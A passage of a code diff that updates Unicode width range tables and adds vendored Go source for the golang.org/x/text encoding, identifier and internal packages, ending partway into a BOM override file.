+	{0x25F0, 0x25FC}, {0x25FF, 0x2604}, {0x2607, 0x2608},
+	{0x260A, 0x260D}, {0x2610, 0x2613}, {0x2616, 0x261B},
+	{0x261D, 0x261D}, {0x261F, 0x263F}, {0x2641, 0x2641},
+	{0x2643, 0x2647}, {0x2654, 0x265F}, {0x2662, 0x2662},
+	{0x2666, 0x2666}, {0x266B, 0x266B}, {0x266E, 0x266E},
+	{0x2670, 0x267E}, {0x2680, 0x2692}, {0x2694, 0x269D},
+	{0x26A0, 0x26A0}, {0x26A2, 0x26A9}, {0x26AC, 0x26BC},
+	{0x26C0, 0x26C3}, {0x26E2, 0x26E2}, {0x26E4, 0x26E7},
+	{0x2700, 0x2704}, {0x2706, 0x2709}, {0x270C, 0x2727},
+	{0x2729, 0x273C}, {0x273E, 0x274B}, {0x274D, 0x274D},
+	{0x274F, 0x2752}, {0x2756, 0x2756}, {0x2758, 0x2775},
+	{0x2780, 0x2794}, {0x2798, 0x27AF}, {0x27B1, 0x27BE},
+	{0x27C0, 0x27E5}, {0x27EE, 0x2984}, {0x2987, 0x2B1A},
+	{0x2B1D, 0x2B4F}, {0x2B51, 0x2B54}, {0x2B5A, 0x2B73},
+	{0x2B76, 0x2B95}, {0x2B97, 0x2C2E}, {0x2C30, 0x2C5E},
+	{0x2C60, 0x2CF3}, {0x2CF9, 0x2D25}, {0x2D27, 0x2D27},
+	{0x2D2D, 0x2D2D}, {0x2D30, 0x2D67}, {0x2D6F, 0x2D70},
+	{0x2D7F, 0x2D96}, {0x2DA0, 0x2DA6}, {0x2DA8, 0x2DAE},
+	{0x2DB0, 0x2DB6}, {0x2DB8, 0x2DBE}, {0x2DC0, 0x2DC6},
+	{0x2DC8, 0x2DCE}, {0x2DD0, 0x2DD6}, {0x2DD8, 0x2DDE},
+	{0x2DE0, 0x2E52}, {0x303F, 0x303F}, {0x4DC0, 0x4DFF},
+	{0xA4D0, 0xA62B}, {0xA640, 0xA6F7}, {0xA700, 0xA7BF},
+	{0xA7C2, 0xA7CA}, {0xA7F5, 0xA82C}, {0xA830, 0xA839},
+	{0xA840, 0xA877}, {0xA880, 0xA8C5}, {0xA8CE, 0xA8D9},
+	{0xA8E0, 0xA953}, {0xA95F, 0xA95F}, {0xA980, 0xA9CD},
+	{0xA9CF, 0xA9D9}, {0xA9DE, 0xA9FE}, {0xAA00, 0xAA36},
+	{0xAA40, 0xAA4D}, {0xAA50, 0xAA59}, {0xAA5C, 0xAAC2},
+	{0xAADB, 0xAAF6}, {0xAB01, 0xAB06}, {0xAB09, 0xAB0E},
+	{0xAB11, 0xAB16}, {0xAB20, 0xAB26}, {0xAB28, 0xAB2E},
+	{0xAB30, 0xAB6B}, {0xAB70, 0xABED}, {0xABF0, 0xABF9},
+	{0xD7B0, 0xD7C6}, {0xD7CB, 0xD7FB}, {0xD800, 0xDFFF},
+	{0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFB1D, 0xFB36},
+	{0xFB38, 0xFB3C}, {0xFB3E, 0xFB3E}, {0xFB40, 0xFB41},
+	{0xFB43, 0xFB44}, {0xFB46, 0xFBC1}, {0xFBD3, 0xFD3F},
+	{0xFD50, 0xFD8F}, {0xFD92, 0xFDC7}, {0xFDF0, 0xFDFD},
+	{0xFE20, 0xFE2F}, {0xFE70, 0xFE74}, {0xFE76, 0xFEFC},
+	{0xFEFF, 0xFEFF}, {0xFFF9, 0xFFFC}, {0x10000, 0x1000B},
+	{0x1000D, 0x10026}, {0x10028, 0x1003A}, {0x1003C, 0x1003D},
+	{0x1003F, 0x1004D}, {0x10050, 0x1005D}, {0x10080, 0x100FA},
+	{0x10100, 0x10102}, {0x10107, 0x10133}, {0x10137, 0x1018E},
+	{0x10190, 0x1019C}, {0x101A0, 0x101A0}, {0x101D0, 0x101FD},
+	{0x10280, 0x1029C}, {0x102A0, 0x102D0}, {0x102E0, 0x102FB},
+	{0x10300, 0x10323}, {0x1032D, 0x1034A}, {0x10350, 0x1037A},
+	{0x10380, 0x1039D}, {0x1039F, 0x103C3}, {0x103C8, 0x103D5},
+	{0x10400, 0x1049D}, {0x104A0, 0x104A9}, {0x104B0, 0x104D3},
+	{0x104D8, 0x104FB}, {0x10500, 0x10527}, {0x10530, 0x10563},
+	{0x1056F, 0x1056F}, {0x10600, 0x10736}, {0x10740, 0x10755},
+	{0x10760, 0x10767}, {0x10800, 0x10805}, {0x10808, 0x10808},
+	{0x1080A, 0x10835}, {0x10837, 0x10838}, {0x1083C, 0x1083C},
+	{0x1083F, 0x10855}, {0x10857, 0x1089E}, {0x108A7, 0x108AF},
+	{0x108E0, 0x108F2}, {0x108F4, 0x108F5}, {0x108FB, 0x1091B},
+	{0x1091F, 0x10939}, {0x1093F, 0x1093F}, {0x10980, 0x109B7},
+	{0x109BC, 0x109CF}, {0x109D2, 0x10A03}, {0x10A05, 0x10A06},
+	{0x10A0C, 0x10A13}, {0x10A15, 0x10A17}, {0x10A19, 0x10A35},
+	{0x10A38, 0x10A3A}, {0x10A3F, 0x10A48}, {0x10A50, 0x10A58},
+	{0x10A60, 0x10A9F}, {0x10AC0, 0x10AE6}, {0x10AEB, 0x10AF6},
+	{0x10B00, 0x10B35}, {0x10B39, 0x10B55}, {0x10B58, 0x10B72},
+	{0x10B78, 0x10B91}, {0x10B99, 0x10B9C}, {0x10BA9, 0x10BAF},
+	{0x10C00, 0x10C48}, {0x10C80, 0x10CB2}, {0x10CC0, 0x10CF2},
+	{0x10CFA, 0x10D27}, {0x10D30, 0x10D39}, {0x10E60, 0x10E7E},
+	{0x10E80, 0x10EA9}, {0x10EAB, 0x10EAD}, {0x10EB0, 0x10EB1},
+	{0x10F00, 0x10F27}, {0x10F30, 0x10F59}, {0x10FB0, 0x10FCB},
 	{0x10FE0, 0x10FF6}, {0x11000, 0x1104D}, {0x11052, 0x1106F},
 	{0x1107F, 0x110C1}, {0x110CD, 0x110CD}, {0x110D0, 0x110E8},
-	{0x110F0, 0x110F9}, {0x11100, 0x11134}, {0x11136, 0x11146},
-	{0x11150, 0x11176}, {0x11180, 0x111CD}, {0x111D0, 0x111DF},
-	{0x111E1, 0x111F4}, {0x11200, 0x11211}, {0x11213, 0x1123E},
-	{0x11280, 0x11286}, {0x11288, 0x11288}, {0x1128A, 0x1128D},
-	{0x1128F, 0x1129D}, {0x1129F, 0x112A9}, {0x112B0, 0x112EA},
-	{0x112F0, 0x112F9}, {0x11300, 0x11303}, {0x11305, 0x1130C},
-	{0x1130F, 0x11310}, {0x11313, 0x11328}, {0x1132A, 0x11330},
-	{0x11332, 0x11333}, {0x11335, 0x11339}, {0x1133B, 0x11344},
-	{0x11347, 0x11348}, {0x1134B, 0x1134D}, {0x11350, 0x11350},
-	{0x11357, 0x11357}, {0x1135D, 0x11363}, {0x11366, 0x1136C},
-	{0x11370, 0x11374}, {0x11400, 0x11459}, {0x1145B, 0x1145B},
-	{0x1145D, 0x1145F}, {0x11480, 0x114C7}, {0x114D0, 0x114D9},
-	{0x11580, 0x115B5}, {0x115B8, 0x115DD}, {0x11600, 0x11644},
-	{0x11650, 0x11659}, {0x11660, 0x1166C}, {0x11680, 0x116B8},
-	{0x116C0, 0x116C9}, {0x11700, 0x1171A}, {0x1171D, 0x1172B},
-	{0x11730, 0x1173F}, {0x11800, 0x1183B}, {0x118A0, 0x118F2},
-	{0x118FF, 0x118FF}, {0x119A0, 0x119A7}, {0x119AA, 0x119D7},
-	{0x119DA, 0x119E4}, {0x11A00, 0x11A47}, {0x11A50, 0x11AA2},
-	{0x11AC0, 0x11AF8}, {0x11C00, 0x11C08}, {0x11C0A, 0x11C36},
-	{0x11C38, 0x11C45}, {0x11C50, 0x11C6C}, {0x11C70, 0x11C8F},
-	{0x11C92, 0x11CA7}, {0x11CA9, 0x11CB6}, {0x11D00, 0x11D06},
-	{0x11D08, 0x11D09}, {0x11D0B, 0x11D36}, {0x11D3A, 0x11D3A},
-	{0x11D3C, 0x11D3D}, {0x11D3F, 0x11D47}, {0x11D50, 0x11D59},
-	{0x11D60, 0x11D65}, {0x11D67, 0x11D68}, {0x11D6A, 0x11D8E},
-	{0x11D90, 0x11D91}, {0x11D93, 0x11D98}, {0x11DA0, 0x11DA9},
-	{0x11EE0, 0x11EF8}, {0x11FC0, 0x11FF1}, {0x11FFF, 0x12399},
+	{0x110F0, 0x110F9}, {0x11100, 0x11134}, {0x11136, 0x11147},
+	{0x11150, 0x11176}, {0x11180, 0x111DF}, {0x111E1, 0x111F4},
+	{0x11200, 0x11211}, {0x11213, 0x1123E}, {0x11280, 0x11286},
+	{0x11288, 0x11288}, {0x1128A, 0x1128D}, {0x1128F, 0x1129D},
+	{0x1129F, 0x112A9}, {0x112B0, 0x112EA}, {0x112F0, 0x112F9},
+	{0x11300, 0x11303}, {0x11305, 0x1130C}, {0x1130F, 0x11310},
+	{0x11313, 0x11328}, {0x1132A, 0x11330}, {0x11332, 0x11333},
+	{0x11335, 0x11339}, {0x1133B, 0x11344}, {0x11347, 0x11348},
+	{0x1134B, 0x1134D}, {0x11350, 0x11350}, {0x11357, 0x11357},
+	{0x1135D, 0x11363}, {0x11366, 0x1136C}, {0x11370, 0x11374},
+	{0x11400, 0x1145B}, {0x1145D, 0x11461}, {0x11480, 0x114C7},
+	{0x114D0, 0x114D9}, {0x11580, 0x115B5}, {0x115B8, 0x115DD},
+	{0x11600, 0x11644}, {0x11650, 0x11659}, {0x11660, 0x1166C},
+	{0x11680, 0x116B8}, {0x116C0, 0x116C9}, {0x11700, 0x1171A},
+	{0x1171D, 0x1172B}, {0x11730, 0x1173F}, {0x11800, 0x1183B},
+	{0x118A0, 0x118F2}, {0x118FF, 0x11906}, {0x11909, 0x11909},
+	{0x1190C, 0x11913}, {0x11915, 0x11916}, {0x11918, 0x11935},
+	{0x11937, 0x11938}, {0x1193B, 0x11946}, {0x11950, 0x11959},
+	{0x119A0, 0x119A7}, {0x119AA, 0x119D7}, {0x119DA, 0x119E4},
+	{0x11A00, 0x11A47}, {0x11A50, 0x11AA2}, {0x11AC0, 0x11AF8},
+	{0x11C00, 0x11C08}, {0x11C0A, 0x11C36}, {0x11C38, 0x11C45},
+	{0x11C50, 0x11C6C}, {0x11C70, 0x11C8F}, {0x11C92, 0x11CA7},
+	{0x11CA9, 0x11CB6}, {0x11D00, 0x11D06}, {0x11D08, 0x11D09},
+	{0x11D0B, 0x11D36}, {0x11D3A, 0x11D3A}, {0x11D3C, 0x11D3D},
+	{0x11D3F, 0x11D47}, {0x11D50, 0x11D59}, {0x11D60, 0x11D65},
+	{0x11D67, 0x11D68}, {0x11D6A, 0x11D8E}, {0x11D90, 0x11D91},
+	{0x11D93, 0x11D98}, {0x11DA0, 0x11DA9}, {0x11EE0, 0x11EF8},
+	{0x11FB0, 0x11FB0}, {0x11FC0, 0x11FF1}, {0x11FFF, 0x12399},
 	{0x12400, 0x1246E}, {0x12470, 0x12474}, {0x12480, 0x12543},
 	{0x13000, 0x1342E}, {0x13430, 0x13438}, {0x14400, 0x14646},
 	{0x16800, 0x16A38}, {0x16A40, 0x16A5E}, {0x16A60, 0x16A69},
@@ -382,20 +389,22 @@ var neutral = table{
 	{0x1EEA5, 0x1EEA9}, {0x1EEAB, 0x1EEBB}, {0x1EEF0, 0x1EEF1},
 	{0x1F000, 0x1F003}, {0x1F005, 0x1F02B}, {0x1F030, 0x1F093},
 	{0x1F0A0, 0x1F0AE}, {0x1F0B1, 0x1F0BF}, {0x1F0C1, 0x1F0CE},
-	{0x1F0D1, 0x1F0F5}, {0x1F10B, 0x1F10C}, {0x1F12E, 0x1F12F},
-	{0x1F16A, 0x1F16C}, {0x1F1E6, 0x1F1FF}, {0x1F321, 0x1F32C},
-	{0x1F336, 0x1F336}, {0x1F37D, 0x1F37D}, {0x1F394, 0x1F39F},
-	{0x1F3CB, 0x1F3CE}, {0x1F3D4, 0x1F3DF}, {0x1F3F1, 0x1F3F3},
-	{0x1F3F5, 0x1F3F7}, {0x1F43F, 0x1F43F}, {0x1F441, 0x1F441},
-	{0x1F4FD, 0x1F4FE}, {0x1F53E, 0x1F54A}, {0x1F54F, 0x1F54F},
-	{0x1F568, 0x1F579}, {0x1F57B, 0x1F594}, {0x1F597, 0x1F5A3},
-	{0x1F5A5, 0x1F5FA}, {0x1F650, 0x1F67F}, {0x1F6C6, 0x1F6CB},
-	{0x1F6CD, 0x1F6CF}, {0x1F6D3, 0x1F6D4}, {0x1F6E0, 0x1F6EA},
-	{0x1F6F0, 0x1F6F3}, {0x1F700, 0x1F773}, {0x1F780, 0x1F7D8},
-	{0x1F800, 0x1F80B}, {0x1F810, 0x1F847}, {0x1F850, 0x1F859},
-	{0x1F860, 0x1F887}, {0x1F890, 0x1F8AD}, {0x1F900, 0x1F90B},
-	{0x1FA00, 0x1FA53}, {0x1FA60, 0x1FA6D}, {0xE0001, 0xE0001},
-	{0xE0020, 0xE007F},
+	{0x1F0D1, 0x1F0F5}, {0x1F10B, 0x1F10F}, {0x1F12E, 0x1F12F},
+	{0x1F16A, 0x1F16F}, {0x1F1AD, 0x1F1AD}, {0x1F1E6, 0x1F1FF},
+	{0x1F321, 0x1F32C}, {0x1F336, 0x1F336}, {0x1F37D, 0x1F37D},
+	{0x1F394, 0x1F39F}, {0x1F3CB, 0x1F3CE}, {0x1F3D4, 0x1F3DF},
+	{0x1F3F1, 0x1F3F3}, {0x1F3F5, 0x1F3F7}, {0x1F43F, 0x1F43F},
+	{0x1F441, 0x1F441}, {0x1F4FD, 0x1F4FE}, {0x1F53E, 0x1F54A},
+	{0x1F54F, 0x1F54F}, {0x1F568, 0x1F579}, {0x1F57B, 0x1F594},
+	{0x1F597, 0x1F5A3}, {0x1F5A5, 0x1F5FA}, {0x1F650, 0x1F67F},
+	{0x1F6C6, 0x1F6CB}, {0x1F6CD, 0x1F6CF}, {0x1F6D3, 0x1F6D4},
+	{0x1F6E0, 0x1F6EA}, {0x1F6F0, 0x1F6F3}, {0x1F700, 0x1F773},
+	{0x1F780, 0x1F7D8}, {0x1F800, 0x1F80B}, {0x1F810, 0x1F847},
+	{0x1F850, 0x1F859}, {0x1F860, 0x1F887}, {0x1F890, 0x1F8AD},
+	{0x1F8B0, 0x1F8B1}, {0x1F900, 0x1F90B}, {0x1F93B, 0x1F93B},
+	{0x1F946, 0x1F946}, {0x1FA00, 0x1FA53}, {0x1FA60, 0x1FA6D},
+	{0x1FB00, 0x1FB92}, {0x1FB94, 0x1FBCA}, {0x1FBF0, 0x1FBF9},
+	{0xE0001, 0xE0001}, {0xE0020, 0xE007F},
 }
 
 var emoji = table{
@@ -423,5 +432,6 @@ var emoji = table{
 	{0x1F546, 0x1F64F}, {0x1F680, 0x1F6FF}, {0x1F774, 0x1F77F},
 	{0x1F7D5, 0x1F7FF}, {0x1F80C, 0x1F80F}, {0x1F848, 0x1F84F},
 	{0x1F85A, 0x1F85F}, {0x1F888, 0x1F88F}, {0x1F8AE, 0x1F8FF},
-	{0x1F90C, 0x1F93A}, {0x1F93C, 0x1F945}, {0x1F947, 0x1FFFD},
+	{0x1F90C, 0x1F93A}, {0x1F93C, 0x1F945}, {0x1F947, 0x1FAFF},
+	{0x1FC00, 0x1FFFD},
 }

vendor/golang.org/x/text/encoding/encoding.go

@@ -0,0 +1,335 @@
+// Copyright 2013 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package encoding defines an interface for character encodings, such as Shift
+// JIS and Windows 1252, that can convert to and from UTF-8.
+//
+// Encoding implementations are provided in other packages, such as
+// golang.org/x/text/encoding/charmap and
+// golang.org/x/text/encoding/japanese.
+package encoding // import "golang.org/x/text/encoding"
+
+import (
+	"errors"
+	"io"
+	"strconv"
+	"unicode/utf8"
+
+	"golang.org/x/text/encoding/internal/identifier"
+	"golang.org/x/text/transform"
+)
+
+// TODO:
+// - There seems to be some inconsistency in when decoders return errors
+//   and when not. Also documentation seems to suggest they shouldn't return
+//   errors at all (except for UTF-16).
+// - Encoders seem to rely on or at least benefit from the input being in NFC
+//   normal form. Perhaps add an example how users could prepare their output.
+
+// Encoding is a character set encoding that can be transformed to and from
+// UTF-8.
+type Encoding interface {
+	// NewDecoder returns a Decoder.
+	NewDecoder() *Decoder
+
+	// NewEncoder returns an Encoder.
+	NewEncoder() *Encoder
+}
+
+// A Decoder converts bytes to UTF-8. It implements transform.Transformer.
+//
+// Transforming source bytes that are not of that encoding will not result in an
+// error per se. Each byte that cannot be transcoded will be represented in the
+// output by the UTF-8 encoding of '\uFFFD', the replacement rune.
+type Decoder struct {
+	transform.Transformer
+
+	// This forces external creators of Decoders to use names in struct
+	// initializers, allowing for future extendibility without having to break
+	// code.
+	_ struct{}
+}
+
+// Bytes converts the given encoded bytes to UTF-8. It returns the converted
+// bytes or nil, err if any error occurred.
+func (d *Decoder) Bytes(b []byte) ([]byte, error) {
+	b, _, err := transform.Bytes(d, b)
+	if err != nil {
+		return nil, err
+	}
+	return b, nil
+}
+
+// String converts the given encoded string to UTF-8. It returns the converted
+// string or "", err if any error occurred.
+func (d *Decoder) String(s string) (string, error) {
+	s, _, err := transform.String(d, s)
+	if err != nil {
+		return "", err
+	}
+	return s, nil
+}
+
+// Reader wraps another Reader to decode its bytes.
+//
+// The Decoder may not be used for any other operation as long as the returned
+// Reader is in use.
+func (d *Decoder) Reader(r io.Reader) io.Reader {
+	return transform.NewReader(r, d)
+}
+
+// An Encoder converts bytes from UTF-8. It implements transform.Transformer.
+//
+// Each rune that cannot be transcoded will result in an error. In this case,
+// the transform will consume all source byte up to, not including the offending
+// rune. Transforming source bytes that are not valid UTF-8 will be replaced by
+// `\uFFFD`. To return early with an error instead, use transform.Chain to
+// preprocess the data with a UTF8Validator.
+type Encoder struct {
+	transform.Transformer
+
+	// This forces external creators of Encoders to use names in struct
+	// initializers, allowing for future extendibility without having to break
+	// code.
+	_ struct{}
+}
+
+// Bytes converts bytes from UTF-8. It returns the converted bytes or nil, err if
+// any error occurred.
+func (e *Encoder) Bytes(b []byte) ([]byte, error) {
+	b, _, err := transform.Bytes(e, b)
+	if err != nil {
+		return nil, err
+	}
+	return b, nil
+}
+
+// String converts a string from UTF-8. It returns the converted string or
+// "", err if any error occurred.
+func (e *Encoder) String(s string) (string, error) {
+	s, _, err := transform.String(e, s)
+	if err != nil {
+		return "", err
+	}
+	return s, nil
+}
+
+// Writer wraps another Writer to encode its UTF-8 output.
+//
+// The Encoder may not be used for any other operation as long as the returned
+// Writer is in use.
+func (e *Encoder) Writer(w io.Writer) io.Writer {
+	return transform.NewWriter(w, e)
+}
+
+// ASCIISub is the ASCII substitute character, as recommended by
+// https://unicode.org/reports/tr36/#Text_Comparison
+const ASCIISub = '\x1a'
+
+// Nop is the nop encoding. Its transformed bytes are the same as the source
+// bytes; it does not replace invalid UTF-8 sequences.
+var Nop Encoding = nop{}
+
+type nop struct{}
+
+func (nop) NewDecoder() *Decoder {
+	return &Decoder{Transformer: transform.Nop}
+}
+func (nop) NewEncoder() *Encoder {
+	return &Encoder{Transformer: transform.Nop}
+}
+
+// Replacement is the replacement encoding. Decoding from the replacement
+// encoding yields a single '\uFFFD' replacement rune. Encoding from UTF-8 to
+// the replacement encoding yields the same as the source bytes except that
+// invalid UTF-8 is converted to '\uFFFD'.
+//
+// It is defined at http://encoding.spec.whatwg.org/#replacement
+var Replacement Encoding = replacement{}
+
+type replacement struct{}
+
+func (replacement) NewDecoder() *Decoder {
+	return &Decoder{Transformer: replacementDecoder{}}
+}
+
+func (replacement) NewEncoder() *Encoder {
+	return &Encoder{Transformer: replacementEncoder{}}
+}
+
+func (replacement) ID() (mib identifier.MIB, other string) {
+	return identifier.Replacement, ""
+}
+
+type replacementDecoder struct{ transform.NopResetter }
+
+func (replacementDecoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	if len(dst) < 3 {
+		return 0, 0, transform.ErrShortDst
+	}
+	if atEOF {
+		const fffd = "\ufffd"
+		dst[0] = fffd[0]
+		dst[1] = fffd[1]
+		dst[2] = fffd[2]
+		nDst = 3
+	}
+	return nDst, len(src), nil
+}
+
+type replacementEncoder struct{ transform.NopResetter }
+
+func (replacementEncoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	r, size := rune(0), 0
+
+	for ; nSrc < len(src); nSrc += size {
+		r = rune(src[nSrc])
+
+		// Decode a 1-byte rune.
+		if r < utf8.RuneSelf {
+			size = 1
+
+		} else {
+			// Decode a multi-byte rune.
+			r, size = utf8.DecodeRune(src[nSrc:])
+			if size == 1 {
+				// All valid runes of size 1 (those below utf8.RuneSelf) were
+				// handled above. We have invalid UTF-8 or we haven't seen the
+				// full character yet.
+				if !atEOF && !utf8.FullRune(src[nSrc:]) {
+					err = transform.ErrShortSrc
+					break
+				}
+				r = '\ufffd'
+			}
+		}
+
+		if nDst+utf8.RuneLen(r) > len(dst) {
+			err = transform.ErrShortDst
+			break
+		}
+		nDst += utf8.EncodeRune(dst[nDst:], r)
+	}
+	return nDst, nSrc, err
+}
+
+// HTMLEscapeUnsupported wraps encoders to replace source runes outside the
+// repertoire of the destination encoding with HTML escape sequences.
+//
+// This wrapper exists to comply to URL and HTML forms requiring a
+// non-terminating legacy encoder. The produced sequences may lead to data
+// loss as they are indistinguishable from legitimate input. To avoid this
+// issue, use UTF-8 encodings whenever possible.
+func HTMLEscapeUnsupported(e *Encoder) *Encoder {
+	return &Encoder{Transformer: &errorHandler{e, errorToHTML}}
+}
+
+// ReplaceUnsupported wraps encoders to replace source runes outside the
+// repertoire of the destination encoding with an encoding-specific
+// replacement.
+//
+// This wrapper is only provided for backwards compatibility and legacy
+// handling. Its use is strongly discouraged. Use UTF-8 whenever possible.
+func ReplaceUnsupported(e *Encoder) *Encoder {
+	return &Encoder{Transformer: &errorHandler{e, errorToReplacement}}
+}
+
+type errorHandler struct {
+	*Encoder
+	handler func(dst []byte, r rune, err repertoireError) (n int, ok bool)
+}
+
+// TODO: consider making this error public in some form.
+type repertoireError interface {
+	Replacement() byte
+}
+
+func (h errorHandler) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	nDst, nSrc, err = h.Transformer.Transform(dst, src, atEOF)
+	for err != nil {
+		rerr, ok := err.(repertoireError)
+		if !ok {
+			return nDst, nSrc, err
+		}
+		r, sz := utf8.DecodeRune(src[nSrc:])
+		n, ok := h.handler(dst[nDst:], r, rerr)
+		if !ok {
+			return nDst, nSrc, transform.ErrShortDst
+		}
+		err = nil
+		nDst += n
+		if nSrc += sz; nSrc < len(src) {
+			var dn, sn int
+			dn, sn, err = h.Transformer.Transform(dst[nDst:], src[nSrc:], atEOF)
+			nDst += dn
+			nSrc += sn
+		}
+	}
+	return nDst, nSrc, err
+}
+
+func errorToHTML(dst []byte, r rune, err repertoireError) (n int, ok bool) {
+	buf := [8]byte{}
+	b := strconv.AppendUint(buf[:0], uint64(r), 10)
+	if n = len(b) + len("&#;"); n >= len(dst) {
+		return 0, false
+	}
+	dst[0] = '&'
+	dst[1] = '#'
+	dst[copy(dst[2:], b)+2] = ';'
+	return n, true
+}
+
+func errorToReplacement(dst []byte, r rune, err repertoireError) (n int, ok bool) {
+	if len(dst) == 0 {
+		return 0, false
+	}
+	dst[0] = err.Replacement()
+	return 1, true
+}
+
+// ErrInvalidUTF8 means that a transformer encountered invalid UTF-8.
+var ErrInvalidUTF8 = errors.New("encoding: invalid UTF-8")
+
+// UTF8Validator is a transformer that returns ErrInvalidUTF8 on the first
+// input byte that is not valid UTF-8.
+var UTF8Validator transform.Transformer = utf8Validator{}
+
+type utf8Validator struct{ transform.NopResetter }
+
+func (utf8Validator) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	n := len(src)
+	if n > len(dst) {
+		n = len(dst)
+	}
+	for i := 0; i < n; {
+		if c := src[i]; c < utf8.RuneSelf {
+			dst[i] = c
+			i++
+			continue
+		}
+		_, size := utf8.DecodeRune(src[i:])
+		if size == 1 {
+			// All valid runes of size 1 (those below utf8.RuneSelf) were
+			// handled above. We have invalid UTF-8 or we haven't seen the
+			// full character yet.
+			err = ErrInvalidUTF8
+			if !atEOF && !utf8.FullRune(src[i:]) {
+				err = transform.ErrShortSrc
+			}
+			return i, i, err
+		}
+		if i+size > len(dst) {
+			return i, i, transform.ErrShortDst
+		}
+		for ; size > 0; size-- {
+			dst[i] = src[i]
+			i++
+		}
+	}
+	if len(src) > len(dst) {
+		err = transform.ErrShortDst
+	}
+	return n, n, err
+}

vendor/golang.org/x/text/encoding/internal/identifier/identifier.go

@@ -0,0 +1,81 @@
+// Copyright 2015 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+//go:generate go run gen.go
+
+// Package identifier defines the contract between implementations of Encoding
+// and Index by defining identifiers that uniquely identify standardized coded
+// character sets (CCS) and character encoding schemes (CES), which we will
+// together refer to as encodings, for which Encoding implementations provide
+// converters to and from UTF-8. This package is typically only of concern to
+// implementers of Indexes and Encodings.
+//
+// One part of the identifier is the MIB code, which is defined by IANA and
+// uniquely identifies a CCS or CES. Each code is associated with data that
+// references authorities, official documentation as well as aliases and MIME
+// names.
+//
+// Not all CESs are covered by the IANA registry. The "other" string that is
+// returned by ID can be used to identify other character sets or versions of
+// existing ones.
+//
+// It is recommended that each package that provides a set of Encodings provide
+// the All and Common variables to reference all supported encodings and
+// commonly used subset. This allows Index implementations to include all
+// available encodings without explicitly referencing or knowing about them.
+package identifier
+
+// Note: this package is internal, but could be made public if there is a need
+// for writing third-party Indexes and Encodings.
+
+// References:
+// - http://source.icu-project.org/repos/icu/icu/trunk/source/data/mappings/convrtrs.txt
+// - http://www.iana.org/assignments/character-sets/character-sets.xhtml
+// - http://www.iana.org/assignments/ianacharset-mib/ianacharset-mib
+// - http://www.ietf.org/rfc/rfc2978.txt
+// - https://www.unicode.org/reports/tr22/
+// - http://www.w3.org/TR/encoding/
+// - https://encoding.spec.whatwg.org/
+// - https://encoding.spec.whatwg.org/encodings.json
+// - https://tools.ietf.org/html/rfc6657#section-5
+
+// Interface can be implemented by Encodings to define the CCS or CES for which
+// it implements conversions.
+type Interface interface {
+	// ID returns an encoding identifier. Exactly one of the mib and other
+	// values should be non-zero.
+	//
+	// In the usual case it is only necessary to indicate the MIB code. The
+	// other string can be used to specify encodings for which there is no MIB,
+	// such as "x-mac-dingbat".
+	//
+	// The other string may only contain the characters a-z, A-Z, 0-9, - and _.
+	ID() (mib MIB, other string)
+
+	// NOTE: the restrictions on the encoding are to allow extending the syntax
+	// with additional information such as versions, vendors and other variants.
+}
+
+// A MIB identifies an encoding. It is derived from the IANA MIB codes and adds
+// some identifiers for some encodings that are not covered by the IANA
+// standard.
+//
+// See http://www.iana.org/assignments/ianacharset-mib.
+type MIB uint16
+
+// These additional MIB types are not defined in IANA. They are added because
+// they are common and defined within the text repo.
+const (
+	// Unofficial marks the start of encodings not registered by IANA.
+	Unofficial MIB = 10000 + iota
+
+	// Replacement is the WhatWG replacement encoding.
+	Replacement
+
+	// XUserDefined is the code for x-user-defined.
+	XUserDefined
+
+	// MacintoshCyrillic is the code for x-mac-cyrillic.
+	MacintoshCyrillic
+)

vendor/golang.org/x/text/encoding/internal/internal.go

@@ -0,0 +1,75 @@
+// Copyright 2015 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package internal contains code that is shared among encoding implementations.
+package internal
+
+import (
+	"golang.org/x/text/encoding"
+	"golang.org/x/text/encoding/internal/identifier"
+	"golang.org/x/text/transform"
+)
+
+// Encoding is an implementation of the Encoding interface that adds the String
+// and ID methods to an existing encoding.
+type Encoding struct {
+	encoding.Encoding
+	Name string
+	MIB  identifier.MIB
+}
+
+// _ verifies that Encoding implements identifier.Interface.
+var _ identifier.Interface = (*Encoding)(nil)
+
+func (e *Encoding) String() string {
+	return e.Name
+}
+
+func (e *Encoding) ID() (mib identifier.MIB, other string) {
+	return e.MIB, ""
+}
+
+// SimpleEncoding is an Encoding that combines two Transformers.
+type SimpleEncoding struct {
+	Decoder transform.Transformer
+	Encoder transform.Transformer
+}
+
+func (e *SimpleEncoding) NewDecoder() *encoding.Decoder {
+	return &encoding.Decoder{Transformer: e.Decoder}
+}
+
+func (e *SimpleEncoding) NewEncoder() *encoding.Encoder {
+	return &encoding.Encoder{Transformer: e.Encoder}
+}
+
+// FuncEncoding is an Encoding that combines two functions returning a new
+// Transformer.
+type FuncEncoding struct {
+	Decoder func() transform.Transformer
+	Encoder func() transform.Transformer
+}
+
+func (e FuncEncoding) NewDecoder() *encoding.Decoder {
+	return &encoding.Decoder{Transformer: e.Decoder()}
+}
+
+func (e FuncEncoding) NewEncoder() *encoding.Encoder {
+	return &encoding.Encoder{Transformer: e.Encoder()}
+}
+
+// A RepertoireError indicates a rune is not in the repertoire of a destination
+// encoding. It is associated with an encoding-specific suggested replacement
+// byte.
+type RepertoireError byte
+
+// Error implements the error interrface.
+func (r RepertoireError) Error() string {
+	return "encoding: rune not supported by encoding."
+}
+
+// Replacement returns the replacement string associated with this error.
+func (r RepertoireError) Replacement() byte { return byte(r) }
+
+var ErrASCIIReplacement = RepertoireError(encoding.ASCIISub)

vendor/golang.org/x/text/encoding/unicode/override.go

@@ -0,0 +1,82 @@
+// Copyright 2015 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package unicode
+
+import (
+	"golang.org/x/text/transform"
+)
+
+// BOMOverride returns a new decoder transformer that is identical to fallback,
+// except that the presence of a Byte Order Mark at the start of the input
+// causes it to switch to the corresponding Unicode decoding. It will only
+// consider BOMs for UTF-8, UTF-16BE, and UTF-16LE.
+//
